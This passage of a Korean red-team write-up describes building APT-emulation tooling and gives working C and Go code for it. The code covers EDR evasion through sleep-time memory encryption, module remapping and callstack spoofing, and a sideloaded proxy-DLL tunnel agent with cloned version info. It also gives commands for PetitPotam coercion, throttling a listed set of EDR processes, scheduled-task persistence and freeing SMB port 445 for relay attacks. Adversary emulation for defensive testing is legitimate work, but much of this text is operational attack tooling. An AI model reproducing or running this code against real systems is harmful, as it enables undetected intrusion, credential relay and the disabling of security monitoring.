    (HANDLE)(LONG_PTR) -1,
    &base, 0, 0, NULL, &viewSize,
    2, 0, PAGE_READONLY);

// === 이 시점에서 메모리 스캐너가 돌면: 깨끗한 System32 DLL만 보인다 ===

// 6. 실제 대기
p->waitResult = p->wait(p->waitHandle, p->milliseconds, FALSE);
```

4번의 `NtUnmapViewOfSection`으로 에이전트 코드가 있던 메모리를 날리고, 5번의 `NtMapViewOfSection`으로 같은 주소에 클린 DLL을 리맵한다. 여기서 사용하는 `p->hSection`이 바로 모듈 스톰핑 때 VEH/HWBP로 `LoadLibrary` 도중에 캡처해둔 깨끗한 섹션 핸들이다. Sleep 중에는 메모리 스캐너가 봐도 정상적인 System32 DLL만 보이고, 힙 데이터는 RC4로 암호화되어 있다.

#### Sleep 복구: 복호화 → 권한 변경 → 복원 → 섹션 권한 복구

`run_kraken()`의 후반부. 대기가 끝나면 에이전트를 원래 상태로 되살린다.

```c
// sleep_kraken_adv.c:122-153

// 7. 백업 데이터 RC4 복호화
data.Buffer = p->backup;
data.Length = data.MaximumLength = (DWORD) p->stompSize;
p->crypt(&data, &key);

// 8. 힙 데이터도 전부 RC4 복호화
for (i = 0; i < p->heapCount; i++) {
    HEAP_RECORD * record = &p->heapRecords[i];
    if (record->Address == NULL || record->Size == 0)
        continue;
    data.Buffer = record->Address;
    data.Length = data.MaximumLength = (DWORD) record->Size;
    p->crypt(&data, &key);
}

// 9. 리맵된 클린 이미지의 .text 영역을 RW로 변경 (쓰기 가능하게)
for (i = 0; i < p->stompSize; i += VP_CHUNK) {
    SIZE_T chunk = p->stompSize - i;
    if (chunk > VP_CHUNK) chunk = VP_CHUNK;
    p->protect((BYTE *) p->stompStart + i, chunk, PAGE_READWRITE, &old);
}

// 10. 백업에서 에이전트 바이트를 .text에 복원
for (i = 0; i < p->stompSize; i++)
    ((BYTE *) p->stompStart)[i] = ((BYTE *) p->backup)[i];

// 11. 각 섹션의 원래 메모리 보호 속성 복원
for (i = 0; i < p->sectionCount; i++) {
    MEMORY_SECTION * section = &p->sections[i];
    if (section->BaseAddress == NULL || section->Size == 0)
        continue;
    p->protect(section->BaseAddress, section->Size,
               section->CurrentProtect, &old);
}
```

RC4는 XOR 기반이라 같은 키로 다시 돌리면 복호화된다 (7\~8번). 이후 `NtMapViewOfSection`으로 리맵된 클린 이미지의 `.text`에 `VirtualProtect(PAGE_READWRITE)`를 건 뒤 (9번), 백업해둔 에이전트 바이트를 다시 써넣는다 (10번). 마지막으로 `.text`는 `PAGE_EXECUTE_READ`, `.rdata`는 `PAGE_READONLY` 등 원래 섹션 권한을 복구한다 (11번).

복구가 끝나면 `run_kraken()`이 `TRUE`를 리턴하고, 제어가 `_WaitForSingleObject` 또는 `_KrakenSleep`으로 돌아온다. 에이전트 입장에서는 그냥 `Sleep`이나 `WaitForSingleObject`를 호출했다가 돌아온 것과 다를 게 없다. 하지만 실제로 뒤에서는 PICO가 에이전트가 슬립하고 있는 사이, 희생양 DLL을 통째로 언맵했다가 리맵한 것이다.

```c
// pico.c:165-172 - 에이전트가 WaitForSingleObject를 호출하면 여기로 온다
DWORD WINAPI _WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds)
{
    DWORD result;
    if (dwMilliseconds >= 3500 && dwMilliseconds != INFINITE &&
        kraken_wait(&g_memory, hHandle, dwMilliseconds, &result))
        return result;           // Kraken 성공 → 그대로 리턴
    return (DWORD) spoof_call(&call);  // Fallback: 진짜 WFSO
}

// sleep_kraken_adv.c:294-298 - kraken_wait()
ok = run_kraken(&params);        // 백업→암호화→언맵→리맵→대기→복구 전부 여기서
if (ok && result != NULL)
    *result = params.waitResult;  // run_kraken 안의 WFSO 리턴값 전달
return ok;

// sleep_kraken_adv.c:301-317 - Sleep 호출 시
VOID WINAPI _KrakenSleep(DWORD milliseconds)
{
    if (milliseconds >= 1500 && g_memory.DllAllocMethod == ALLOC_MODULESTOMP) {
        HANDLE never = KERNEL32$CreateEventA(NULL, TRUE, FALSE, NULL);
        BOOL ok = kraken_wait(&g_memory, never, milliseconds, &result);
        KERNEL32$CloseHandle(never);
        if (ok) return;           // Kraken 성공 → 그냥 리턴. 끝.
    }
    real_sleep(milliseconds);     // Fallback
}
```

### 4. PICO - Callstack Spoofing

모듈 스톰핑으로 `MEM_IMAGE`에 숨고, 크라켄 슬립으로 sleep 중 메모리를 깨끗하게 만들었다. 하지만 에이전트가 **깨어 있을 때** API를 호출하는 순간, EDR은 콜스택(Call Stack)을 추적한다.

EDR은 API 호출 시 콜스택을 트레이싱해서 "이 호출이 어디서 시작됐는지"를 확인한다. 모듈 스톰핑 덕분에 코드 자체는 `MEM_IMAGE` 영역에 있지만, 콜스택 프레임이 수상하면 여전히 탐지된다. 특히 리턴 주소가 정상적인 `call`/`ret` 쌍이 아닌 경우, 혹은 리턴 주소가 가리키는 곳이 알려진 코드 영역과 맞지 않는 경우가 그렇다.

#### 전통적 방법: Return Address Spoofing

전통적인 콜스택 스푸핑은 스택 프레임의 리턴 주소를 정상적인 주소로 덮어쓰는 방식이다. API를 호출하기 전에 스택에 가짜 프레임을 쌓아서, EDR이 콜스택을 읽었을 때 정상적인 호출 체인처럼 보이게 만든다.

문제는 인텔 CET(Control-flow Enforcement Technology)등의 방어 기법들이 도입되면서 전통적인 접근이 막히고 있다는 것이다. 실제 `call` 명령어 없이 스택에 쌓인 리턴 주소는 CET의 Shadow Stack과 불일치가 생기고, 이를 탐지할 수 있게 됐다.

#### Barrel-Kit: Worker Thread Proxy

Barrel Kit의 콜 스택 스푸핑은 프레임 조작을 하지 않고, 그냥 별도의 Worker Thread (워커 스레드)를 만들어 API를 대신 호출하게 한다.

구조는 간단하다. PICO가 초기화될 때 워커 스레드를 하나 만든다. 이 워커는 이벤트를 기다리다가, 메인 스레드가 요청을 넘기면 API를 호출하고, 결과를 돌려준다.

```c
// spoof_worker_thread.c:79-95 — 워커 스레드
DWORD WINAPI worker_thread_proc(LPVOID param)
{
    PROXY_STATE * st = (PROXY_STATE *) param;
    for (;;) {
        st->wait_so(st->hRequest, INFINITE, FALSE);  // 요청 대기
        if (st->stop) break;
        if (st->pending_call != NULL) {
            st->result = dispatch_call(st->pending_call);  // API 호출
            st->pending_call = NULL;
        }
        st->set_event(st->hDone);  // 완료 시그널
    }
    return 0;
}
```

메인 스레드(에이전트)에서는 `spoof_call()`을 통해 워커에게 요청을 위임한다.

```c
// spoof_worker_thread.c:233-257 — 메인 스레드에서 호출
ULONG_PTR spoof_call(FUNCTION_CALL * call)
{
    PROXY_STATE * st = proxy_state_get();
    if (st != NULL && st->ready && st->hWorker != NULL) {
        st->pending_call = call;
        st->result       = 0;
        st->set_event(st->hRequest);     // 워커에게 요청
        st->wait_so(st->hDone, INFINITE, FALSE);  // 완료 대기
        return st->result;
    }
    return dispatch_call(call);  // 폴백: 직접 호출
}
```

이렇게 하면 워커 스레드의 콜스택은 다음과 같이 나온다:

```
ntdll!NtWaitForSingleObject      ← 진짜 시스템콜
KERNEL32!WaitForSingleObjectEx
worker_thread_proc               ← 정상적인 스레드 시작점
the_target_api                   ← 우리가 호출하려는 API
```

프레임을 조작한 게 아니다. 진짜 `call`과 `ret` 쌍이다. Shadow Stack과의 불일치도 없다. EDR이 콜스택 무결성을 아무리 검사해도, 정당한 워커 스레드가 정당한 API를 호출한 것이니 문제될 게 없다.

에이전트가 호출하는 34개의 API가 PICO의 IAT 훅을 거치고, 각 훅 함수 안에서 `spoof_call()`을 호출하기 때문에, 에이전트 입장에서는 평소대로 `CreateProcessA`, `VirtualProtect` 등을 호출하지만 실제로는 전부 워커 스레드를 경유하게 된다.

```c
// hooks.c — 패턴 예시
BOOL WINAPI _CreateProcessA(...) {
    FUNCTION_CALL call = { 0 };
    call.ptr  = (PVOID)(KERNEL32$CreateProcessA);
    call.argc = 10;
    call.args[0] = spoof_arg(lpApplicationName);
    // ...
    return (BOOL) spoof_call(&call);
}
```

#### Impersonation Fallback

한 가지 예외가 있다. 스레드가 토큰을 임퍼소네이션(impersonation) 중일 때다. 예를 들어, `getsystem` 이나 `make token`과 같이 에이전트가 `ImpersonateLoggedOnUser`로 다른 사용자의 토큰을 임퍼소네이션한 상태에서 API를 호출하면, 그 토큰의 권한으로 실행되어야 한다. 하지만 워커 스레드에는 해당 토큰이 없다. 이 경우 워커를 건너뛰고 메인 스레드에서 직접 호출한다.

#### Handle Rate Limiting

SOCKS Proxy를 sleep 0으로 돌리면, `CloseHandle`이나 `DuplicateHandle` 같은 핸들 관련 API가 초당 수백\~수천 회 호출된다. 매번 워커 스레드를 경유하면 이벤트 시그널링 오버헤드가 쌓여서 성능이 크게 떨어진다.

이를 위해 핸들 API들은 `spoof_call_handle()`을 거친다. 1초 윈도우 안에 200회 이상 호출되면, 3초간 워커를 건너뛰고 직접 호출하는 fast path로 전환한다.

```c
// spoof_worker_thread.c:205-231
static BOOL handle_fastpath_active(VOID)
{
    // 1초 윈도우 안에 200회 이상이면 3초간 direct path 유지
    if (state->handle_window_count >= HANDLE_RATE_THRESHOLD) {
        state->handle_fastpath_until = now + HANDLE_FASTPATH_HOLD_MS;
    }
}
```

콜스택 스푸핑을 포기하는 거 아닌가 싶을 수 있지만, 핸들 API는 프로세스 내부에서 워낙 빈번하게 호출되는 함수라서 EDR도 이 정도의 호출 빈도에서 콜스택을 일일이 검사하지는 않는다. 이정도는 감수할만하다.

#### WinInet Gate: Gadget Stitching

WinInet API 세 개(`HttpSendRequestA`, `InternetOpenA`, `InternetConnectA`)는 위의 워커 스레드 대신 `wininet_gate`라는 별도 프록시를 거친다. WinInet 호출은 네트워크 I/O를 수반하기 때문에 콜스택이 오래 남는다. 메인 워커 스레드와 다른 콜스택 identity를 가지게 해서, "모든 API가 같은 워커 스레드에서 나온다"는 탐지 패턴을 깨뜨리기 위함이다.

`spoof_stitch.c`는 KernelBase.dll과 ntdll.dll에서 `call [reg+disp32]; jmp [reg+disp8]` 패턴의 가젯을 찾고, `RUNTIME_FUNCTION` + `UNWIND_INFO`로 가젯의 unwind 메타데이터까지 검증한 뒤, 해당 가젯의 프레임 레이아웃을 재현하는 방식으로 콜 체인을 구성한다. CET Shadow Stack과도 호환되도록 실제 `call` 명령어를 사용한다. 구현이 상당히 복잡하기 때문에 자세한 설명은 소스코드를 참고하자.

## UDRL 끝!

재밌지 않은가? AI가 뚝딱 뚝딱 만들어줬지만 UDRL에는 사실 꽤나 복잡한 개념들이 많이 들어가 있다. 복잡한 코드가 워낙 많이 때문에 중간중간 디버깅을 하거나, 다시 align을 맞춰줘야 했지만, 그럼에도 나름 빠른 시간안에 잘 만들어줬다.


# 6. Barrel-Shot

## Barrel Shot

### 코드

<https://github.com/ChoiSG/Operation-Triple-Barrel/tree/main/barrel-shot>

### 데모

{% file src="/files/1TuBBbqDrc5BX81einp3" %}

### 개요

HookShot은 오퍼레이션 더블 배럴 보고서 13\~14, 35페이지에 등장하는 RDP/SSH 터널링 도구다. 내부 네트워크의 RDP, SSH 등의 서비스에 외부에서 접근하기 위한 도구로, Chisel이나 Ligolo-ng과 비슷한 역할을 한다. 보고서 35페이지에서 DLL Sideloading으로 실행했다고 기술되어 있는데, 이 점을 반영해 처음부터 DLL Sideloading이 가능하도록 만들었다.

아마 C나 C++로 만들어진 악성코드 같은데, 시간이 너무 없어 (3일) Barrel shot은 golang으로 제작했다. AI를 활용해 만들다보니, 사실상 코드 베이스는 chisel과 ligolo-ng의 것을 가져다 사용했다고 봐도 무방하다.

Go로 작성했고, SSH-over-WebSocket 구조를 사용한다.

### 구조

```
  오퍼레이터                                 타겟 네트워크
  +-------------------+                   +-------------------+
  |  barrel-shot      |                   |  barrel-shot      |
  |  server           |<--[WSS/SSH]-------+  agent            |
  |                   |                   |                   |
  |  - HTTPS listener |                   |  - reverse conn   |
  |  - tunnel binder  |                   |  - SOCKS5 proxy   |
  |                   |                   |  - reconnect loop |
  +-------------------+                   +-------------------+
        |                                       |
        v                                       v
   RDP client                             target:3389 (RDP)
   SSH client                             target:22   (SSH)
   proxychains                            target:*    (SOCKS5)
```

에이전트가 타겟 호스트에서 오퍼레이터 서버로 WebSocket 연결을 맺고, 그 안에서 SSH 세션을 만든다. SSH가 암호화와 멀티플렉싱을 다 해주기 때문에 별도의 커스텀 암호화가 필요 없다. 오퍼레이터 쪽에서는 로컬 포트가 열리고, 해당 포트에 RDP/SSH 클라이언트를 연결하면 트래픽이 SSH 채널을 타고 타겟 네트워크 안으로 들어간다.

```bash
# 서버 (오퍼레이터)
barrel-shot server -l 0.0.0.0:8443 --auth op:s3cret

# 에이전트 (타겟) — RDP + SSH + SOCKS5 터널
barrel-shot agent --tls-skip-verify --auth op:s3cret https://operator:8443 R:socks
```

### DLL Sideloading

보고서에서 HookShot이 DLL Sideloading으로 실행됐다고 명시되어 있어서, 빌드 파이프라인에 이를 포함시켰다.

Barrel Shot의 DLL 빌드는 프록시 DLL 패턴을 사용한다. 타겟 DLL(예: `python315.dll`)의 PE export table을 파싱해서, 모든 export 함수를 원본 DLL로 포워딩하는 C 코드를 자동 생성한다. 이 프록시 코드와 Barrel Shot 에이전트를 함께 컴파일하면, 정상 프로그램이 해당 DLL을 로드할 때 원래 기능은 그대로 동작하면서 에이전트가 백그라운드에서 실행된다.

```bash
make dll \
  PROXY=./python315.dll \
  SERVER=https://operator.com:443 \
  AUTH=op:s3cret \
  REMOTES=R:13389:10.10.5.50:3389,R:socks \
  TLS_SKIP=1 \
  FUNCTION=Py_Main
```

`FUNCTION` 파라미터가 중요하다. 에이전트가 시작되는 트리거를 DLL 로드 시점(`DllMain`, 기본값)이 아니라 특정 export 함수가 호출되는 시점으로 지정할 수 있다. 위 예시에서는 호스트 프로그램(`pythonw.exe`)이 `Py_Main`을 호출하는 순간 에이전트가 시작된다.

#### 트리거 모드: DllMain vs. Export Function

에이전트 시작 시점을 두 가지 모드로 제어할 수 있다.

**1. `FUNCTION=DllMain` (기본값):** DLL이 로드되는 즉시 Go 런타임의 `init()`에서 에이전트를 시작한다.

```go
// exports.go
func init() {
    if embeddedTrigger != "" && embeddedTrigger != "DllMain" {
        return  // 트리거 함수가 지정되어 있으면 여기서 시작하지 않음
    }
    if HasEmbeddedConfig() {
        go RunDLL()
    }
}
```

**2. `FUNCTION=Py_Main` (export 트리거):** DLL 로드 시에는 아무것도 안하고, 호스트 프로그램이 해당 export 함수를 호출할 때 에이전트를 시작한다. `proxygen`이 생성하는 C 코드에서 해당 함수의 stub에 `GoNow()` 호출이 삽입된다.

```c
// proxygen이 자동 생성 — 트리거 함수 stub
__declspec(dllexport) void * Py_Main(
    void *a1,void *a2,void *a3,void *a4,
    void *a5,void *a6,void *a7,void *a8,
    void *a9,void *a10,void *a11,void *a12) {
    GoNow();                                              // 에이전트 시작 (goroutine)
    proxy_init();
    ProxyFn f = (ProxyFn)proxy_fn[1287];                  // 원본 Py_Main 호출
    if (f) f(a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12);
    Sleep(0xFFFFFFFF);                                    // 호스트 프로세스 유지
    return 0;
}
```

Export 트리거가 유용한 이유는, DLL이 로드되는 시점에는 프로세스 초기화가 아직 진행 중일 수 있기 때문이다. 예를 들어 Loader Lock이 잡혀 있는 상태에서 네트워크 연결을 시도하면 데드락이 걸릴 수 있다. Export 트리거를 사용하면 프로세스 초기화가 끝난 뒤 안전하게 에이전트를 시작할 수 있다.

`GoNow()`는 Go 쪽에서 export된 CGO 함수로, `RunDLL()`을 goroutine으로 실행한다. `sync.Once`로 감싸져 있어 여러 번 호출돼도 에이전트는 한 번만 시작된다.

```go
// exports.go

//export GoNow
func GoNow() {
    go RunDLL()
}

//export RunAgent
func RunAgent() {
    RunDLL()  // blocking — rundll32 용
}

//export ServiceMain
func ServiceMain() {
    RunDLL()  // blocking — 서비스 등록 지속성 용
}

func RunDLL() {
    dllOnce.Do(func() {
        c := &Config{}
        applyEmbedded(c)
        if c.Server == "" { return }
        a, err := New(c)
        if err != nil { return }
        a.Run(context.Background())
    })
}
```

`RunAgent`와 `ServiceMain`은 blocking 호출이라, `rundll32.exe python315.dll,RunAgent` 같은 방식으로도 실행할 수 있다.

#### Proxy 코드 생성

`proxygen`이 타겟 DLL의 PE export table을 직접 파싱해서 모든 named export를 추출한다. 이미 forwarded된 export (RVA가 export directory 범위 안에 있는 경우)는 건너뛴다.

```go
// cmd/proxygen/main.go — export 추출 핵심
func extractExports(f *pe.File) ([]string, error) {
    // PE DataDirectory[0]에서 export directory RVA/Size 추출
    // ...
    for i := uint32(0); i < numNames; i++ {
        // AddressOfNames[i] → 함수 이름
        // AddressOfNameOrdinals[i] → 함수 인덱스
        // AddressOfFunctions[funcIdx] → 함수 RVA

        // forwarded export는 스킵
        if funcRVA >= dirRVA && funcRVA < dirRVA+dirSize {
            continue
        }
        names = append(names, name)
    }
    return names, nil
}
```

추출된 export 목록으로 `proxy_gen.c`를 생성한다. 원본 DLL은 `python315_.dll`(언더스코어 추가)로 이름을 바꿔 같은 디렉토리에 놓고, 프록시 DLL이 원본 이름(`python315.dll`)을 차지한다.

```c
// proxygen이 자동 생성 — proxy_init()
static HMODULE proxy_dll;
static void *proxy_fn[2006];    // python315.dll 기준 2006개 export

static void proxy_init(void) {
    if (proxy_dll) return;
    proxy_dll = LoadLibraryW(L"python315_.dll");  // 이름 변경된 원본 DLL
    if (!proxy_dll) return;
    proxy_fn[0] = GetProcAddress(proxy_dll, "PyArg_Parse");
    proxy_fn[1] = GetProcAddress(proxy_dll, "PyArg_ParseTuple");
    // ... 2006개
}

// 일반 export stub — 그대로 포워딩
__declspec(dllexport) void * PyArg_Parse(
    void *a1,void *a2,void *a3,void *a4,
    void *a5,void *a6,void *a7,void *a8,
    void *a9,void *a10,void *a11,void *a12) {
    proxy_init();
    ProxyFn f = (ProxyFn)proxy_fn[0];
    return f ? f(a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12) : 0;
}
```

`version.dll`, `winmm.dll`, `dbghelp.dll` 등 아무 DLL이나 사용 가능하다. `proxygen`이 PE export table을 직접 파싱하기 때문에 함수 목록을 하드코딩할 필요가 없다.

#### Version Info Cloning

빌드 파이프라인에는 `versioninfo.py`도 포함되어 있다. 원본 DLL의 PE 리소스에서 `VS_FIXEDFILEINFO`와 `StringFileInfo`를 추출해 `.rc` 파일을 만들고, `windres`로 컴파일해서 `.syso`로 Go 빌드에 자동 링크한다. 결과물인 프록시 DLL이 원본과 동일한 파일 버전, 제품명, 저작권 정보를 가지게 된다.

```python
# versioninfo.py — 원본 DLL의 버전 정보 복제
info = extract_version_info("python315.dll")
# → file_version: (3, 15, 0, 0)
# → strings: {"ProductName": "Python", "FileDescription": "Python Core", ...}

rc_content = generate_rc(info)  # .rc 파일 생성
# → x86_64-w64-mingw32-windres로 .syso 컴파일
# → Go 빌드 시 자동 링크
```

### 임베디드 설정

에이전트 설정(서버 주소, 인증 정보, 터널 정의, 트리거 함수)은 빌드 타임에 Go의 `-ldflags -X`로 바이너리에 박아넣는다.

```go
// embed.go — 빌드 타임에 설정되는 변수들
var (
    embeddedServer      string  // -X 'barrel-shot/agent.embeddedServer=wss://...'
    embeddedAuth        string
    embeddedFingerprint string
    embeddedRemotes     string
    embeddedTLSSkip     string
    embeddedTrigger     string  // -X 'barrel-shot/agent.embeddedTrigger=Py_Main'
)
```

설정이 임베디드되어 있으면 인자 없이 실행해도 바로 연결된다. DLL Sideloading 시나리오에서는 CLI 인자를 넘길 방법이 없기 때문에 필수적인 기능이다.

### 그 외

* **Reconnect**: 연결이 끊기면 exponential backoff + jitter (1초\~5분)로 재접속한다
* **SOCKS5**: `R:socks` 터널을 정의하면 에이전트 측에 SOCKS5 프록시가 열려, `proxychains`를 통해 내부 네트워크 어디든 접근 가능하다
* **Backend proxy**: 서버의 `--backend` 옵션으로 비에이전트 HTTP 요청을 정상 웹서버로 리버스 프록시할 수 있다. 누군가 서버 URL에 브라우저로 접속하면 정상 웹사이트가 보인다
* **TLS**: 인증서가 없으면 self-signed를 자동 생성한다. 실제 오퍼레이션에서는 CDN 뒤에 놓기 때문에 CDN이 TLS termination을 해준다


# 7. Post-Exploitation

## Post-Exploitation

### 코드

<https://github.com/ChoiSG/Operation-Triple-Barrel/tree/main/operation>

### 개요

보고서에는 내부 정찰, 권한 상승, 횡적 이동에 대한 TTP가 기술되어 있다. SC 원격 서비스 생성, WMI, 레지스트리 기반 지속성 유지 등이 나오는데, 이런 기법들은 그냥 사용하면 EDR에 바로 탐지된다. 보고서에 나온 공격자들은 타겟 환경에 EDR이 없었거나, 이미 무력화한 상태에서 사용했을 것으로 추정된다.

따라서, 후속 공격 도구들은 보고서 내용을 참고하되 현실적인 OPSEC을 고려해서 BOF (Beacon Object File) 형태로 제작하거나, 기존 오픈소스 도구를 Adaptix C2에 맞게 포팅했다.

### BOF 제작 및 포팅

#### 방법론

BOF 포팅은 대부분 비슷한 패턴을 따른다:

1. 기존 도구(Python/C#/EXE)의 핵심 로직을 파악
2. Win32 API 호출을 BOF의 Dynamic Function Resolution(DFR) 형태로 변환
3. Adaptix C2의 `.axs` 스크립트로 명령어 등록
4. 컴파일 후 `.x64.o` 오브젝트 파일로 빌드

Adaptix C2는 Cobalt Strike과 다른 BOF 인터페이스를 사용하지만, 핵심 구조(`go()` 엔트리포인트, `BeaconDataParse`, `BeaconPrintf`)는 비슷하다. AI한테 "이 CS BOF를 Adaptix용으로 포팅해줘"라고 하면 대부분 잘 변환해준다. `.axs` 스크립트도 Adaptix의 예제 몇 개만 레퍼런스로 주면 알아서 만든다.

#### PetitPotam BOF

MS-EFSRPC를 통한 NTLM 강제인증 도구. Outflank의 `@Cneelis`가 만든 CS BOF와 `@topotam77`의 원본을 Adaptix용으로 포팅했다.

```c
// petitpotam.c:328-333 — 네 가지 EFS opnum을 순차 시도
EfsRpcEncryptFileSrv(bHandle, wcFileName);     // opnum 4
EfsRpcDecryptFileSrv(bHandle, wcFileName, 0);  // opnum 5
EfsRpcOpenFileRaw(bHandle, &pContextHandle, wcFileName, lFlag);  // opnum 0
EfsRpcQueryRecoveryAgents(bHandle, wcFileName, &pEncCertHashList); // opnum 7
```

`\\pipe\\lsarpc`를 통해 타겟의 EFS 서비스에 RPC 바인딩을 하고, 네 가지 opnum을 순차적으로 시도한다. 하나라도 `ERROR_BAD_NETPATH`를 리턴하면 강제인증 성공이다. 타겟 DC가 공격자가 지정한 리스너 주소로 NTLM 인증을 시도하게 되고, 이걸 릴레이하면 된다.

```
petitpotam 10.4.10.210 10.4.10.200
```

#### EDRChoker BOF

Two Seven One Three의 EDRChoker를 BOF로 포팅했다.

`MSFT_NetQosPolicySettingData` WMI 오브젝트를 생성해서 EDR 프로세스의 아웃바운드 대역폭을 8 bytes/sec로 제한한다. `pacer.sys`가 커널 NDIS 레이어에서 캡을 걸기 때문에, EDR 에이전트 입장에서는 `send()`가 성공한 것처럼 보이지만 실제로는 패킷이 나가지 않는다. EDR이 텔레메트리를 아무리 보내려 해도 사실상 아무것도 도달하지 않는 상태가 된다.

```c
// entry.c:28-68 — 50개 이상의 EDR 프로세스 목록
static const wchar_t* g_edrProcess[] = {
    // Microsoft Defender
    L"MsMpEng.exe", L"MsSense.exe", L"SenseIR.exe", L"SenseNdr.exe",
    // Elastic EDR
    L"elastic-agent.exe", L"elastic-endpoint.exe",
    // SentinelOne
    L"SentinelAgent.exe", L"SentinelAgentWorker.exe",
    // Cortex XDR
    L"Traps.exe", L"cyserver.exe", L"CyveraService.exe",
    // ... 총 50개 이상
};
```

탐지 우회를 위해 QoS 정책 이름에 세션마다 랜덤 프리픽스를 붙인다. `TelemetryPriority_`, `AppNetPolicy_`, `WindowsQosApp_` 같은 정상적으로 보이는 프리픽스 풀에서 하나를 골라 랜덤 hex를 뒤에 붙이는 방식이다.

```
edrchoker throttleedr              # 실행 중인 EDR 프로세스 자동 탐지 + 전부 스로틀링
edrchoker throttle MsSense.exe     # 특정 프로세스만 스로틀링
edrchoker clearall                 # 이 세션에서 만든 정책만 제거
```

Admin 권한이 필요하다.

#### PersisTask BOF

작업 스케줄 기반 지속성 유지 도구. `@nickzer0`의 PersisTask-BOF를 Adaptix용으로 포팅했다.

`schtasks.exe`를 실행하는 대신 COM 인터페이스(`ITaskService`)를 직접 호출한다. 프로세스를 spawn하지 않으니 프로세스 생성 로그가 남지 않는다. `exec` 서브커맨드는 태스크를 등록하고, 실행하고, 삭제까지 한 번에 처리하기 때문에 비컨의 프로세스 트리에서 분리된 상태로 페이로드를 실행할 수 있다.

```
persistask add MyTask C:\payload.exe /arg1 C:\ -t logon
persistask exec TmpTask C:\payload.exe     # 등록 → 실행 → 삭제 (일회성)
persistask list
persistask remove MyTask
```

#### SMBTakeover BOF

포트 445를 SMB 서비스가 아니라 비컨이 rportfwd 등으로 활용할 수 있게 하는 툴. 비컨 + rportfwd + socks + NTLM Relay 공격을 할 때 많이 사용된다. `@zyn3rgy`의 코드를 기반으로 한다.

SCM API를 통해 `LanmanServer`, `srv2`, `srvnet` 서비스를 제어한다. 이 세 서비스를 멈추면 445/tcp가 해제되고, 비컨의 `rportfwd`로 해당 포트를 바인딩할 수 있게 된다. ESC8 릴레이 공격의 핵심 전제조건이다.

```
smbtakeover check    # LanmanServer/srv2/srvnet 상태 확인
smbtakeover stop     # 서비스 중지 → 445/tcp 해제
smbtakeover start    # 서비스 복구 → 445/tcp 바인딩 복구
```

SYSTEM 또는 High Integrity가 필요하다.

### Adaptix C2 SOCKS Proxy 패치

후속 공격을 하다 보니, Adaptix C2의 SOCKS Proxy에서 문제가 발생했다. ESC8 릴레이 공격 중 `certipy relay`가 "Getting certificate..."에서 영원히 멈추는 현상이었다.

원인은 Adaptix 에이전트의 `Proxyfire::RecvProxy()`가 터널 데이터를 한 번에 64 KiB씩, 최대 16번, 2.5초 동안 반복해서 읽는 구조였다. 한 번의 콜백에 최대 4 MiB의 터널 데이터가 실릴 수 있었는데, CloudFront를 경유하는 콜백 경로에서 8 KiB 근처에서 스톨이 걸렸다. AD CS가 보낸 16,181바이트짜리 인증서 응답이 팀서버까지 도달하지 못한 것이다.

패치는 터널 읽기를 6 KiB(`0x1800`)로 제한하고, 콜백당 하나의 터널 청크만 보내도록 변경한 것이다. 서버 측에서는 원격 EOF를 전파하기 전에 큐에 남은 데이터를 먼저 드레인하도록 수정했다.

```diff
-    LPVOID buffer = MemAllocLocal(0x10000);
+    LPVOID buffer = MemAllocLocal(TUNNEL_READ_CHUNK_SIZE);  // 0x1800
...
-    int max_reads = 16;
-    while (max_reads-- > 0) {
-        int readed = ApiWin->recv(tunnelData->sock, (char*)buffer, 0x10000, 0);
+    int readed = ApiWin->recv(tunnelData->sock, (char*)buffer, TUNNEL_READ_CHUNK_SIZE, 0);
```

오픈소스 C2는 공짜라 좋지만, 이런 부분은 직접 디버깅해서 고쳐야 한다. 상용 C2라면 이런 문제가 훨씬 적겠지만, 그 경우에는 코드를 공개할 수 없으니 트레이드오프다.


# 8. Operation

처음부터 끝까지 쭉 오퍼레이션을 하는 것을 기획했지만, 시간 관계상 다양한 공격 체인만 공개한다. 추후 시간이 남으면 간단한 공격 체인을 처음부터 끝까지 하는 것을 보여주고 싶긴 한데, 아마 Gitbook이 아니라 유투브 영상으로 올라갈 것 같다.&#x20;

### LSASS 덤프&#x20;

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fq8vCyB5P1i3ZJRhU8AlH%2Fotb-nanodump-like-its-2021.gif?alt=media&amp;token=90b84ffb-9f2d-48bb-aaf1-d630031e47e0" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FKJXs1LNPuF4wNFwPwBhF%2Fimage.png?alt=media&amp;token=d791b7e6-83ce-4b0f-8a1f-26587b131d3a" alt=""><figcaption></figcaption></figure>

### NTLM Relay + ESC 8&#x20;

{% file src="/files/dPQrnmRtMxwmR5UnLSk0" %}


# 9. 결론 & 소감

## 결론

오랜 시간 Maldev와 Capdev는 정말 극소수의 사람들과, 시간과 예산을 많이 투입할 수 있는 군/정보기관을 제외하고는 제대로 하기 어려운 분야였다. 해외(미국/유럽)의 경우조차도 본인의 직업을 "레드팀"이라고 소개하는 사람들 중 Maldev/Capdev를 제대로 하고 있는 사람들은 손에 꼽을 정도였다. 못한다기보단, 워낙 시간이 오래 걸리는 작업이기 때문에 시간이 없어서 못하는 경우가 많았다.

벌써 이 프로젝트만 해도 그렇지 않은가? 악성코드 분석(심지어 리버싱은 하지도 않았다), 코드 개발, TTP 연구, 테스트, 버그 픽스, EDR 테스트, 방어 회피 기법 적용 등, 신경 쓸 게 한두 개가 아니다. 공격자를 시뮬레이션하거나 에뮬레이션하는 것은 돈이 별로 안 된다. 그 시간에 기본 코발트스트라이크 쓴 뒤, 고객사에게 EDR 예외처리 해주세요를 부탁하고는, stock impacket으로 AD DA/EA나 따거나, 취약점 하나 더 찾는 게 오히려 더 돈이 된다.

그래서 민간 레드팀 시장은 극소수의 레드팀 회사들을 제외하고는, 사실상 레드팀이라고 보기 어려웠다. 다들 어느 정도 익숙하고 정해진 TTP 내에서, 조금 더 고도화된 침투테스트를 하고 있는 것에 그친 레드팀들도 많았다.

